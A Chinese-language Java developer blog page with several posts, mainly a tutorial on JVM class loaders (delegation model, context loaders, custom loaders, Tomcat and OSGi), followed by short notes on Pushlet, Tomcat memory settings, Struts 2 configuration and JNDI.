- 系统类加载器(system class loader):它根据 Java 应用的类路径(CLASSPATH)来加载 Java 类。一般来说,Java 应用的类都是由它来完成加载的。可以通过
ClassLoader.getSystemClassLoader()
来获取它。
除了系统提供的类加载器以外,开发人员可以通过继承 java.lang.ClassLoader
类的方式实现自己的类加载器,以满足一些特殊的需求。
除了引导类加载器之外,所有的类加载器都有一个父类加载器。通过 表 1 中给出的 getParent()
方法可以得到。对于系统提供的类加载器来说,系统类加载器的父类加载器是扩展类加载器,而扩展类加载器的父类加载器是引导类加载器;对于开发人员编写的类加载器来说,其父类加载器是加载此类加载器 Java 类的类加载器。因为类加载器 Java 类如同其它的 Java 类一样,也是要由类加载器来加载的。一般来说,开发人员编写的类加载器的父类加载器是系统类加载器。类加载器通过这种方式组织起来,形成树状结构。树的根节点就是引导类加载器。图 1 中给出了一个典型的类加载器树状组织结构示意图,其中的箭头指向的是父类加载器。
图 1. 类加载器树状组织结构示意图
代码清单 1 演示了类加载器的树状组织结构。
清单 1. 演示类加载器的树状组织结构
public class ClassLoaderTree {
public static void main(String[] args) {
ClassLoader loader = ClassLoaderTree.class.getClassLoader();
while (loader != null) {
System.out.println(loader.toString());
loader = loader.getParent();
}
}
}
|
每个 Java 类都维护着一个指向定义它的类加载器的引用,通过 getClassLoader()
方法就可以获取到此引用。代码清单 1 中通过递归调用 getParent()
方法来输出全部的父类加载器。代码清单 1 的运行结果如 代码清单 2 所示。
清单 2. 演示类加载器的树状组织结构的运行结果
sun.misc.Launcher$AppClassLoader@9304b1
sun.misc.Launcher$ExtClassLoader@190d11
|
如 代码清单 2 所示,第一个输出的是 ClassLoaderTree
类的类加载器,即系统类加载器。它是 sun.misc.Launcher$AppClassLoader
类的实例;第二个输出的是扩展类加载器,是 sun.misc.Launcher$ExtClassLoader
类的实例。需要注意的是这里并没有输出引导类加载器,这是由于有些 JDK 的实现对于父类加载器是引导类加载器的情况,getParent()
方法返回 null
。
在了解了类加载器的树状组织结构之后,下面介绍类加载器的代理模式。
类加载器的代理模式
类加载器在尝试自己去查找某个类的字节代码并定义它时,会先代理给其父类加载器,由父类加载器先去尝试加载这个类,依次类推。在介绍代理模式背后的动机之前,首先需要说明一下 Java 虚拟机是如何判定两个 Java 类是相同的。Java 虚拟机不仅要看类的全名是否相同,还要看加载此类的类加载器是否一样。只有两者都相同的情况,才认为两个类是相同的。即便是同样的字节代码,被不同的类加载器加载之后所得到的类,也是不同的。比如一个 Java 类 com.example.Sample
,编译之后生成了字节代码文件 Sample.class
。两个不同的类加载器 ClassLoaderA
和 ClassLoaderB
分别读取了这个 Sample.class
文件,并定义出两个 java.lang.Class
类的实例来表示这个类。这两个实例是不相同的。对于 Java 虚拟机来说,它们是不同的类。试图对这两个类的对象进行相互赋值,会抛出运行时异常 ClassCastException
。下面通过示例来具体说明。代码清单 3 中给出了 Java 类 com.example.Sample
。
清单 3. com.example.Sample 类
package com.example;
public class Sample {
private Sample instance;
public void setSample(Object instance) {
this.instance = (Sample) instance;
}
}
|
如 代码清单 3 所示,com.example.Sample
类的方法 setSample
接受一个 java.lang.Object
类型的参数,并且会把该参数强制转换成 com.example.Sample
类型。测试 Java 类是否相同的代码如 代码清单 4 所示。
清单 4. 测试 Java 类是否相同
public void testClassIdentity() {
String classDataRootPath = "C:\\workspace\\Classloader\\classData";
FileSystemClassLoader fscl1 = new FileSystemClassLoader(classDataRootPath);
FileSystemClassLoader fscl2 = new FileSystemClassLoader(classDataRootPath);
String className = "com.example.Sample";
try {
Class<?> class1 = fscl1.loadClass(className);
Object obj1 = class1.newInstance();
Class<?> class2 = fscl2.loadClass(className);
Object obj2 = class2.newInstance();
Method setSampleMethod = class1.getMethod("setSample", java.lang.Object.class);
setSampleMethod.invoke(obj1, obj2);
} catch (Exception e) {
e.printStackTrace();
}
}
|
代码清单 4 中使用了类 FileSystemClassLoader
的两个不同实例来分别加载类 com.example.Sample
,得到了两个不同的 java.lang.Class
的实例,接着通过 newInstance()
方法分别生成了两个类的对象 obj1
和 obj2
,最后通过 Java 的反射 API 在对象 obj1
上调用方法 setSample
,试图把对象 obj2
赋值给 obj1
内部的 instance
对象。代码清单 4 的运行结果如 代码清单 5 所示。
清单 5. 测试 Java 类是否相同的运行结果
java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at classloader.ClassIdentity.testClassIdentity(ClassIdentity.java:26)
at classloader.ClassIdentity.main(ClassIdentity.java:9)
Caused by: java.lang.ClassCastException: com.example.Sample
cannot be cast to com.example.Sample
at com.example.Sample.setSample(Sample.java:7)
... 6 more
|
从 代码清单 5 给出的运行结果可以看到,运行时抛出了 java.lang.ClassCastException
异常。虽然两个对象 obj1
和 obj2
的类的名字相同,但是这两个类是由不同的类加载器实例来加载的,因此不被 Java 虚拟机认为是相同的。
了解了这一点之后,就可以理解代理模式的设计动机了。代理模式是为了保证 Java 核心库的类型安全。所有 Java 应用都至少需要引用 java.lang.Object
类,也就是说在运行的时候,java.lang.Object
这个类需要被加载到 Java 虚拟机中。如果这个加载过程由 Java 应用自己的类加载器来完成的话,很可能就存在多个版本的 java.lang.Object
类,而且这些类之间是不兼容的。通过代理模式,对于 Java 核心库的类的加载工作由引导类加载器来统一完成,保证了 Java 应用所使用的都是同一个版本的 Java 核心库的类,是互相兼容的。
不同的类加载器为相同名称的类创建了额外的名称空间。相同名称的类可以并存在 Java 虚拟机中,只需要用不同的类加载器来加载它们即可。不同类加载器加载的类之间是不兼容的,这就相当于在 Java 虚拟机内部创建了一个个相互隔离的 Java 类空间。这种技术在许多框架中都被用到,后面会详细介绍。
下面具体介绍类加载器加载类的详细过程。
加载类的过程
在前面介绍类加载器的代理模式的时候,提到过类加载器会首先代理给其它类加载器来尝试加载某个类。这就意味着真正完成类的加载工作的类加载器和启动这个加载过程的类加载器,有可能不是同一个。真正完成类的加载工作是通过调用 defineClass
来实现的;而启动类的加载过程是通过调用 loadClass
来实现的。前者称为一个类的定义加载器(defining loader),后者称为初始加载器(initiating loader)。在 Java 虚拟机判断两个类是否相同的时候,使用的是类的定义加载器。也就是说,哪个类加载器启动类的加载过程并不重要,重要的是最终定义这个类的加载器。两种类加载器的关联之处在于:一个类的定义加载器是它引用的其它类的初始加载器。如类 com.example.Outer
引用了类 com.example.Inner
,则由类 com.example.Outer
的定义加载器负责启动类 com.example.Inner
的加载过程。
方法 loadClass()
抛出的是 java.lang.ClassNotFoundException
异常;方法 defineClass()
抛出的是 java.lang.NoClassDefFoundError
异常。
类加载器在成功加载某个类之后,会把得到的 java.lang.Class
类的实例缓存起来。下次再请求加载该类的时候,类加载器会直接使用缓存的类的实例,而不会尝试再次加载。也就是说,对于一个类加载器实例来说,相同全名的类只加载一次,即 loadClass
方法不会被重复调用。
下面讨论另外一种类加载器:线程上下文类加载器。
线程上下文类加载器
线程上下文类加载器(context class loader)是从 JDK 1.2 开始引入的。类 java.lang.Thread
中的方法 getContextClassLoader()
和 setContextClassLoader(ClassLoader cl)
用来获取和设置线程的上下文类加载器。如果没有通过 setContextClassLoader(ClassLoader cl)
方法进行设置的话,线程将继承其父线程的上下文类加载器。Java 应用运行的初始线程的上下文类加载器是系统类加载器。在线程中运行的代码可以通过此类加载器来加载类和资源。
前面提到的类加载器的代理模式并不能解决 Java 应用开发中会遇到的类加载器的全部问题。Java 提供了很多服务提供者接口(Service Provider Interface,SPI),允许第三方为这些接口提供实现。常见的 SPI 有 JDBC、JCE、JNDI、JAXP 和 JBI 等。这些 SPI 的接口由 Java 核心库来提供,如 JAXP 的 SPI 接口定义包含在 javax.xml.parsers
包中。这些 SPI 的实现代码很可能是作为 Java 应用所依赖的 jar 包被包含进来,可以通过类路径(CLASSPATH)来找到,如实现了 JAXP SPI 的 Apache Xerces 所包含的 jar 包。SPI 接口中的代码经常需要加载具体的实现类。如 JAXP 中的 javax.xml.parsers.DocumentBuilderFactory
类中的 newInstance()
方法用来生成一个新的 DocumentBuilderFactory
的实例。这里的实例的真正的类是继承自 javax.xml.parsers.DocumentBuilderFactory
,由 SPI 的实现所提供的。如在 Apache Xerces 中,实现的类是 org.apache.xerces.jaxp.DocumentBuilderFactoryImpl
。而问题在于,SPI 的接口是 Java 核心库的一部分,是由引导类加载器来加载的;SPI 实现的 Java 类一般是由系统类加载器来加载的。引导类加载器是无法找到 SPI 的实现类的,因为它只加载 Java 的核心库。它也不能代理给系统类加载器,因为它是系统类加载器的祖先类加载器。也就是说,类加载器的代理模式无法解决这个问题。
线程上下文类加载器正好解决了这个问题。如果不做任何的设置,Java 应用的线程的上下文类加载器默认就是系统上下文类加载器。在 SPI 接口的代码中使用线程上下文类加载器,就可以成功的加载到 SPI 实现的类。线程上下文类加载器在很多 SPI 的实现中都会用到。
下面介绍另外一种加载类的方法:Class.forName
。
Class.forName
Class.forName
是一个静态方法,同样可以用来加载类。该方法有两种形式:Class.forName(String name, boolean initialize, ClassLoader loader)
和 Class.forName(String className)
。第一种形式的参数 name
表示的是类的全名;initialize
表示是否初始化类;loader
表示加载时使用的类加载器。第二种形式则相当于设置了参数 initialize
的值为 true
,loader
的值为当前类的类加载器。Class.forName
的一个很常见的用法是在加载数据库驱动的时候。如 Class.forName("org.apache.derby.jdbc.EmbeddedDriver").newInstance()
用来加载 Apache Derby 数据库的驱动。
在介绍完类加载器相关的基本概念之后,下面介绍如何开发自己的类加载器。
回页首
开发自己的类加载器
虽然在绝大多数情况下,系统默认提供的类加载器实现已经可以满足需求。但是在某些情况下,您还是需要为应用开发出自己的类加载器。比如您的应用通过网络来传输 Java 类的字节代码,为了保证安全性,这些字节代码经过了加密处理。这个时候您就需要自己的类加载器来从某个网络地址上读取加密后的字节代码,接着进行解密和验证,最后定义出要在 Java 虚拟机中运行的类来。下面将通过两个具体的实例来说明类加载器的开发。
文件系统类加载器
第一个类加载器用来加载存储在文件系统上的 Java 字节代码。完整的实现如 代码清单 6 所示。
清单 6. 文件系统类加载器
public class FileSystemClassLoader extends ClassLoader {
private String rootDir;
public FileSystemClassLoader(String rootDir) {
this.rootDir = rootDir;
}
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] classData = getClassData(name);
if (classData == null) {
throw new ClassNotFoundException();
}
else {
return defineClass(name, classData, 0, classData.length);
}
}
private byte[] getClassData(String className) {
String path = classNameToPath(className);
try {
InputStream ins = new FileInputStream(path);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead = 0;
while ((bytesNumRead = ins.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
return baos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
private String classNameToPath(String className) {
return rootDir + File.separatorChar
+ className.replace('.', File.separatorChar) + ".class";
}
}
|
如 代码清单 6 所示,类 FileSystemClassLoader
继承自类 java.lang.ClassLoader
。在 表 1 中列出的 java.lang.ClassLoader
类的常用方法中,一般来说,自己开发的类加载器只需要覆写 findClass(String name)
方法即可。java.lang.ClassLoader
类的方法 loadClass()
封装了前面提到的代理模式的实现。该方法会首先调用 findLoadedClass()
方法来检查该类是否已经被加载过;如果没有加载过的话,会调用父类加载器的 loadClass()
方法来尝试加载该类;如果父类加载器无法加载该类的话,就调用 findClass()
方法来查找该类。因此,为了保证类加载器都正确实现代理模式,在开发自己的类加载器时,最好不要覆写 loadClass()
方法,而是覆写 findClass()
方法。
类 FileSystemClassLoader
的 findClass()
方法首先根据类的全名在硬盘上查找类的字节代码文件(.class 文件),然后读取该文件内容,最后通过 defineClass()
方法来把这些字节代码转换成 java.lang.Class
类的实例。
网络类加载器
下面将通过一个网络类加载器来说明如何通过类加载器来实现组件的动态更新。即基本的场景是:Java 字节代码(.class)文件存放在服务器上,客户端通过网络的方式获取字节代码并执行。当有版本更新的时候,只需要替换掉服务器上保存的文件即可。通过类加载器可以比较简单的实现这种需求。
类 NetworkClassLoader
负责通过网络下载 Java 类字节代码并定义出 Java 类。它的实现与 FileSystemClassLoader
类似。在通过 NetworkClassLoader
加载了某个版本的类之后,一般有两种做法来使用它。第一种做法是使用 Java 反射 API。另外一种做法是使用接口。需要注意的是,并不能直接在客户端代码中引用从服务器上下载的类,因为客户端代码的类加载器找不到这些类。使用 Java 反射 API 可以直接调用 Java 类的方法。而使用接口的做法则是把接口的类放在客户端中,从服务器上加载实现此接口的不同版本的类。在客户端通过相同的接口来使用这些实现类。网络类加载器的具体代码见 下载。
在介绍完如何开发自己的类加载器之后,下面说明类加载器和 Web 容器的关系。
类加载器与 Web 容器
对于运行在 Java EE™ 容器中的 Web 应用来说,类加载器的实现方式与一般的 Java 应用有所不同。不同的 Web 容器的实现方式也会有所不同。以 Apache Tomcat 来说,每个 Web 应用都有一个对应的类加载器实例。该类加载器也使用代理模式,所不同的是它是首先尝试去加载某个类,如果找不到再代理给父类加载器。这与一般类加载器的顺序是相反的。这是 Java Servlet 规范中的推荐做法,其目的是使得 Web 应用自己的类的优先级高于 Web 容器提供的类。这种代理模式的一个例外是:Java 核心库的类是不在查找范围之内的。这也是为了保证 Java 核心库的类型安全。
绝大多数情况下,Web 应用的开发人员不需要考虑与类加载器相关的细节。下面给出几条简单的原则:
- 每个 Web 应用自己的 Java 类文件和使用的库的 jar 包,分别放在
WEB-INF/classes
和 WEB-INF/lib
目录下面。
- 多个应用共享的 Java 类文件和 jar 包,分别放在 Web 容器指定的由所有 Web 应用共享的目录下面。
- 当出现找不到类的错误时,检查当前类的类加载器和当前线程的上下文类加载器是否正确。
在介绍完类加载器与 Web 容器的关系之后,下面介绍它与 OSGi 的关系。
类加载器与 OSGi
OSGi™ 是 Java 上的动态模块系统。它为开发人员提供了面向服务和基于组件的运行环境,并提供标准的方式用来管理软件的生命周期。OSGi 已经被实现和部署在很多产品上,在开源社区也得到了广泛的支持。Eclipse 就是基于 OSGi 技术来构建的。
OSGi 中的每个模块(bundle)都包含 Java 包和类。模块可以声明它所依赖的需要导入(import)的其它模块的 Java 包和类(通过 Import-Package
),也可以声明导出(export)自己的包和类,供其它模块使用(通过 Export-Package
)。也就是说需要能够隐藏和共享一个模块中的某些 Java 包和类。这是通过 OSGi 特有的类加载器机制来实现的。OSGi 中的每个模块都有对应的一个类加载器。它负责加载模块自己包含的 Java 包和类。当它需要加载 Java 核心库的类时(以 java
开头的包和类),它会代理给父类加载器(通常是启动类加载器)来完成。当它需要加载所导入的 Java 类时,它会代理给导出此 Java 类的模块来完成加载。模块也可以显式的声明某些 Java 包和类,必须由父类加载器来加载。只需要设置系统属性 org.osgi.framework.bootdelegation
的值即可。
假设有两个模块 bundleA 和 bundleB,它们都有自己对应的类加载器 classLoaderA 和 classLoaderB。在 bundleA 中包含类 com.bundleA.Sample
,并且该类被声明为导出的,也就是说可以被其它模块所使用的。bundleB 声明了导入 bundleA 提供的类 com.bundleA.Sample
,并包含一个类 com.bundleB.NewSample
继承自 com.bundleA.Sample
。在 bundleB 启动的时候,其类加载器 classLoaderB 需要加载类 com.bundleB.NewSample
,进而需要加载类 com.bundleA.Sample
。由于 bundleB 声明了类 com.bundleA.Sample
是导入的,classLoaderB 把加载类 com.bundleA.Sample
的工作代理给导出该类的 bundleA 的类加载器 classLoaderA。classLoaderA 在其模块内部查找类 com.bundleA.Sample
并定义它,所得到的类 com.bundleA.Sample
实例就可以被所有声明导入了此类的模块使用。对于以 java
开头的类,都是由父类加载器来加载的。如果声明了系统属性 org.osgi.framework.bootdelegation=com.example.core.*
,那么对于包 com.example.core
中的类,都是由父类加载器来完成的。
OSGi 模块的这种类加载器结构,使得一个类的不同版本可以共存在 Java 虚拟机中,带来了很大的灵活性。不过它的这种不同,也会给开发人员带来一些麻烦,尤其当模块需要使用第三方提供的库的时候。下面提供几条比较好的建议:
- 如果一个类库只有一个模块使用,把该类库的 jar 包放在模块中,在
Bundle-ClassPath
中指明即可。
- 如果一个类库被多个模块共用,可以为这个类库单独的创建一个模块,把其它模块需要用到的 Java 包声明为导出的。其它模块声明导入这些类。
- 如果类库提供了 SPI 接口,并且利用线程上下文类加载器来加载 SPI 实现的 Java 类,有可能会找不到 Java 类。如果出现了
NoClassDefFoundError
异常,首先检查当前线程的上下文类加载器是否正确。通过 Thread.currentThread().getContextClassLoader()
就可以得到该类加载器。该类加载器应该是该模块对应的类加载器。如果不是的话,可以首先通过 class.getClassLoader()
来得到模块对应的类加载器,再通过 Thread.currentThread().setContextClassLoader()
来设置当前线程的上下文类加载器。
总结
类加载器是 Java 语言的一个创新。它使得动态安装和更新软件组件成为可能。本文详细介绍了类加载器的相关话题,包括基本概念、代理模式、线程上下文类加载器、与 Web 容器和 OSGi 的关系等。开发人员在遇到 ClassNotFoundException
和 NoClassDefFoundError
等异常的时候,应该检查抛出异常的类的类加载器和当前线程的上下文类加载器,从中可以发现问题的所在。在开发自己的类加载器的时候,需要注意与已有的类加载器组织结构的协调。
posted @
2010-04-24 22:26 junly 阅读(595) |
评论 (0) |
编辑 收藏
来自:http://www.pussor.com/?p=3
官网:http://www.pushlets.com/
Ajax等Web 2.0技术的广泛应用,推动了C/S向B/S的转变,如今很多应用如监控、即时通信等系统都需要实时同步服务器端和客户端的数据更新。Comet在这种需求下应运而生,本文简单介绍了基于Comet的开源框架Pushlet。
Comet基础
Comet 是一个用于描述客户端和服务器之间的交互的术语,即使用长期保持的 HTTP 连接来在连接保持畅通的情况下支持客户端和服务器间的事件驱动的通信。
—引用自“Comet的诱惑”
传统的web系统的工作流程是客户端发出请求,服务器端进行响应,而Comet则是在现有技术的基础上,实现服务器数据、事件等快速PUSH到客户端,所以会出现一个术语”服务器推“技术。
PUSH实现方式
JSP/SERVLET PUSH
原理:
利用JSP/SERVEL技术,在不关闭HTTP流的情况下PUSH数据到客户端浏览器;
实现:
基于 AJAX 的长轮询(long-polling)方式
AJAX 的出现使得 JavaScript 可以调用 XMLHttpRequest 对象发出 HTTP 请求,JavaScript 响应处理函数根据服务器返回的信息对 HTML 页面的显示进行更新。使用 AJAX 实现“服务器推”与传统的 AJAX 应用不同之处在于:
- 服务器端会阻塞请求直到有数据传递或超时才返回。
- 客户端 JavaScript 响应处理函数会在处理完服务器返回的信息后,再次发出请求,重新建立连接。
- 当客户端处理接收的数据、重新建立连接时,服务器端可能有新的数据到达;这些信息会被服务器端保存直到客户端重 新建立连接,客户端会一次把当前服务器端所有的信息取回。
Pushlet实例
以Pushlet中的ping案例来进行分析:
- 新建一个Web项目取名ping,并导入Pushlet的jar包;
- 在src目录下配置sources.properties、pushlet.properties文件;
- webroot目录下导入js-pushlet-client.js,js-pushlet-net.html;
- 新建TestEventPullSources.java;
- 新建index.html,引入js-pushlet-client.js;
- 新建pingok.jsp;
- 修改web.xml加上pushlet的servlet
- 打包、部署ping项目;
实例1 Pushlet CookBook部分翻译 + 注释
pushlet 2.0.3 源码分析(服务器端)
posted @
2010-04-23 13:38 junly 阅读(6162) |
评论 (1) |
编辑 收藏
PermGen space的全称是Permanent Generation space,是指内存的永久保存区域,这块内存主要是存放Class和Meta信息的,Class在被Loader时就会被放到PermGen space中,它和存放类实例(Instance)的Heap区域不同,GC(Garbage Collection)不会在主程序运行期对PermGen space进行清理,所以如果APP会LOAD很多CLASS的话,就很可能出现PermGen space错误,这种错误常见在web服务器对JSP进行pre compile的时候。
在tomcat中redeploy时出现outofmemory的错误. 可以有以下几个方面的原因:
1, 使用了proxool,因为proxool内部包含了一个老版本的cglib.
2, log4j,最好不用,只用common-logging
3, 老版本的cglib,快点更新到最新版。
4, 更新到最新的hibernate3.2 3、
这里以tomcat环境为例,其它WEB服务器如jboss,weblogic等是同一个道理。
一、java.lang.OutOfMemoryError: PermGen space PermGen space的全称是Permanent Generation space,是指内存的永久保存区域, 这块内存主要是被JVM存放Class和Meta信息的,Class在被Loader时就会被放到PermGen space中, 它和存放类实例(Instance)的Heap区域不同,GC(Garbage Collection)不会在主程序运行期对 PermGen space进行清理,所以如果你的应用中有很多CLASS的话,就很可能出现PermGen space错误, 这种错误常见在web服务器对JSP进行pre compile的时候。如果你的WEB APP下都用了大量的第三方jar, 其大小超过了jvm默认的大小(4M)那么就会产生此错误信息了。
解决方法: 手动设置MaxPermSize大小修改TOMCAT_HOME/bin/catalina.sh 在“echo "Using CATALINA_BASE: $CATALINA_BASE"”上面加入以下行: JAVA_OPTS="-server -XX:PermSize=64M -XX:MaxPermSize=128m
建议:将相同的第三方jar文件移置到tomcat/shared/lib目录下,这样可以达到减少jar 文档重复占用内存的目的。
二、java.lang.OutOfMemoryError: Java heap space Heap size 设置 JVM堆的设置是指java程序运行过程中JVM可以调配使用的内存空间的设置.JVM在启动的时候会自动设置Heap size的值,其初始空间(即-Xms)是物理内存的1/64,最大空间(-Xmx)是物理内存的1/4。可以利用JVM提供的-Xmn -Xms -Xmx等选项可进行设置。Heap size 的大小是Young Generation 和Tenured Generaion 之和。提示:在JVM中如果98%的时间是用于GC且可用的Heap size 不足2%的时候将抛出此异常信息。提示:Heap Size 最大不要超过可用物理内存的80%,一般的要将-Xms和-Xmx选项设置为相同,而-Xmn为1/4的-Xmx值。
解决方法:手动设置Heap size 修改TOMCAT_HOME/bin/catalina.sh 在“echo "Using CATALINA_BASE: $CATALINA_BASE"”上面加入以下行: JAVA_OPTS="-server -Xms800m -Xmx800m -XX:MaxNewSize=256m"
三、实例,以下给出1G内存环境下java jvm 的参数设置参考:
JAVA_OPTS="-server -Xms800m -Xmx800m -XX:PermSize=64M -XX:MaxNewSize=256m -XX:MaxPermSize=128m -Djava.awt.headless=true "
内存不足 (OutOfMemory) - 由于java 堆或本地内存中的内存耗尽,应用程序显示“内存不足”错误。
内存泄漏-java 堆或本地内存的持续内存增长,最终将导致内存不足状态。
调试内存泄漏状态的技术与调试内存不足状态的技术相同。
Java 堆 - 这是 JVM 用来分配 java 对象的内存。
如果JVM不能在java堆中获得更多内存来分配更多java对象,将会抛出java内存不足(java.lang.OutOfMemoryError)错误。默认情况下,应用程序崩溃。
本地内存 - 这是 JVM 用于其内部操作的内存。
如果 JVM 无法获得更多本地内存,它将抛出本地内存不足(本地 OutOfMemoryError)错误。当进程到达操作系统的进程大小限值,或者当计算机用完 RAM 和交换空间时,通常会发生这种情况。
进程大小 - 进程大小将是 java 堆、本地内存与加载的可执行文件和库所占用内存的总和。在 32 位操作系统上,进程的虚拟地址空间最大可达到 4 GB。从这 4 GB 内存中,操作系统内核为自己保留一部分内存(通常为 1 - 2 GB)。剩余内存可用于应用程序。
2.
java虚拟机是遵照有关规范的一个软件实现,存在于内存中。jvm是由安装于机器上的jre(java运行环境)生成的。通常来说,每次运行一个application都会生成一个jvm,但是也可以有多个程序在同一个jvm里面。
可以使用命令java -X查看非标准(non-standard)的程序运行选项,以下3个是我所关心的:
-Xms set initial Java heap size
-Xmx set maximum Java heap size
-Xss set java thread stack size
-Xmx设置应用程序(不是jvm)能够使用的最大内存数,这个值也不应该设置过大,超过机器内存。
例如:java -Xmx50M testMemory
-Xms设置程序初始化的时候内存栈的大小。有时可以用于改变程序运行的效率。
例如使用以下方式运行一个占用20M左右内存的程序testMemory:
java -Xms50M testMemory
使用这个方法可以得到应用的空间使用量
/**//*
Returns the total amount of memory in the Java virtual machine. The value returned by this method may vary over time, depending on the host environment.
*/
System.out.println(Runtime.getRuntime().totalMemory());
3.
查看java进程的内存使用量:
Windows任务管理器(Windows Task Manager)
增大运行应用的Heap的取值
//命令行执行方式
java -Xms256 -Xmx512m app
//Tomcat执行方式
Windows下,在文件{tomcat_home}/bin/catalina.bat
在文件开头可增加如下设置:
set JAVA_OPTS=-Xms256m -Xmx512m
Unix下,在文件{tomcat_home}/bin/catalina.sh的前面,可增加如下设置:
JAVA_OPTS='-Xms256m -Xmx512m'
posted @
2010-04-22 10:18 junly 阅读(315) |
评论 (0) |
编辑 收藏
摘要: <c3p0-config>
<default-config>
<!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数。Default: 3 -->
<property name="acquireIncrement">3</property&g...
阅读全文
posted @
2010-04-20 09:20 junly 阅读(846) |
评论 (0) |
编辑 收藏
1 配置Action的struts.xml
<struts>
<!-- Struts 2的Action都必须配置在package里-->
<package name="default" extends="struts-default">
<!-- 定义一个Logon的Action实现类为lee.Logon -->
<action name="Logon" class="lee.Logon">
<!--配置Action返回input时转入/pages/Logon.jsp页面-->
<result name="input">/pages/Logon.jsp</result>
<!--配置Action返回cancel时重定向到Welcome的Action-->
<result name="cancel" type="redirect-action">Welcome</result>
<!--配置Action返回success时重定向到MainMenu的Action -->
<result type="redirect-action">MainMenu</result>
<!--配置Action返回expired时进入ChangePassword的Action连-->
<result name="expired" type="chain">ChangePassword</result>
</action>
<!--定义Logoff的Action实现类为lee.Logoff -->
<action name="Logoff" class=" lee.Logoff">
<!--配置Action返回success重定向到MainMenu的Action -->
<result type="redirect-action">Welcome</result>
</action>
</package>
</struts>
2 配置Struts 2 全局属性的struts.properties
#指定Struts 2处于开发状态
struts.devMode = false
#指定当Struts 2配置文件改变后,Web框架是否重新加载Struts 2配置文件
struts.configuration.xml.reload=true
3 编辑Web 应用的web.xml配置文件,配置Struts 2 的核心Filter
<?xml version="1.0" encoding="GBK"?>
<!-- web-app是Web应用配置文件的根元素,提定Web应用的Schema信息-->
<web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.
com/xml/ns/j2ee/web-app_2_4.xsd">
<!--定义Struts 2的FilterDispatcher的Filter -->
<filter>
<!-- 定义核心Filter的名字-->
<filter-name>struts2</filter-name>
<!--典定义核心Filter的实现类 -->
<filter-class>org.apache.Struts2.dispatcher.FilterDispatcher
</ filter-class>
<init-param>
<!--配置Struts 2框架默认加载的Action包结构-->
<param-name>actionPackages</param-name>
<param-value>org.apache.struts2.showcase.person</param-value>
</init-param>
<!--配置Struts 2框架的配置提共者类-->
<init-param>
<param-name>configProviders </param-name>
<param-value>lee.MyConfigurationProvider</param-value>
</init-param>
</filter>
<!-- FilterDispatcher用来初始化Struts 2并且处理所有的Web请求-->
<filter-mapping>
<filter-name>Struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
三个有特殊意义的初始化参数:
(1) config:参数值是以(,)号隔开的字符串,每个字符串都是一个xml配置文件的位置。Struts2框架将自动加载这些配置文件。
(2) actionPackages:参数值是以(,)号隔开的字符串,每个字符串都是一个包空间,Struts2框架将扫描这些包空间下的Action类。
(3) configProviders:如果用户需要实现自已的ConfigurationProvider类,用户可以提供一个或多个实现了ConfigurationProvider接口的类,然后将这些类的类名设置成该属性的值,多个类名这间以(,)隔开。
(4) 还可以在些配置常量,其中<param-name>子元素指定常量name,而<param-value>指定常量value.
4 在web.xml文件中配置加载Struts 2标签库
<!--手动配置Struts 2的标签库-->
<taglib>
<!--配置Struts 2标签库的URI -->
<taglib-uri>/s</taglib-uri>
<!--指定Struts 2标签库定义文件的位置-->
<taglib-location>/WEB-INF/struts-tags.tld</taglib-location>
</taglib>
注意:
Servlet2.4以上的规范,无需在web.xml文件中配置标签库定义,因为Servlet2.4规范会自动加载该标签库文件。
5 文件结构
Struts2qs
|-WEB-INF
| |-classes(struts.xml)
| |-lib(commons-logging.jarfreemarker.jarognl.jarstruts2-core.jarxwork.jar)
| |-web.xml
|-login.jsp
6 将struts.xml配置文件分解成多个配置文件,模块化管理
<?xml version="1.0" encoding="UTF-8" ?>
<!-- 指定Struts 2 配置文件的DTD信息-->
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<!--下面是Struts 2配置文件的根元素-->
<struts>
<!--通过include元素导入其他配置文件-->
<include file="struts-part1.xml" />
</struts>
7 包空间的继承
<!--指定Struts 2 配置文件的根元素 -->
<struts>
<!-- 配置名为lee的包空间,继承struts-default包空间-->
<package name="lee" extends="struts-default">
</package>
</struts>
8 可插拔的方式来安装插件
配置struts2与spring框架,只要将struts2-spring-plugin2.06.jar文件放在WEB-INF/lib路径下,Struts2框架将自动加载该文件
posted @
2010-03-05 10:24 junly 阅读(312) |
评论 (0) |
编辑 收藏
方法一:
conf/server.xml文件
Context path中间加上reloadable="true"
例如:<Context path="" docBase="" reloadable="true">
方法二:
删除work目录下的缓存文件
可以把Catalina目录删除;
注意:不能把work整个目录删除,不然重启tomcat时,会把conf/web.xml删除掉,这样在启动时,日志会提示:No Default web.xml,且访问页面会显示404错误;
posted @
2010-02-28 15:22 junly 阅读(879) |
评论 (0) |
编辑 收藏
什么是JNDI?为什么使用JNDI?
JNDI是Java 命名与目录接口(Java Naming and Directory Interface)
要了解JNDI的作用,我们可以从“如果不用JNDI我们怎样做?用了JNDI后我们又将怎样做?”这个问题来探讨。
没有JNDI的做法:
程序员开发时,知道要开发访问MySQL数据库的应用,于是将一个对 MySQL JDBC 驱动程序类的引用进行了编码,并通过使用适当的 JDBC URL 连接到数据库。
就像以下代码这样:
Connection conn=null;
try {
Class.forName("com.mysql.jdbc.Driver",true, Thread.currentThread().getContextClassLoader()); conn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue"); /* 使用conn并进行SQL操作 */ conn.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try { conn.close();
} catch(SQLException e) {
}
}}
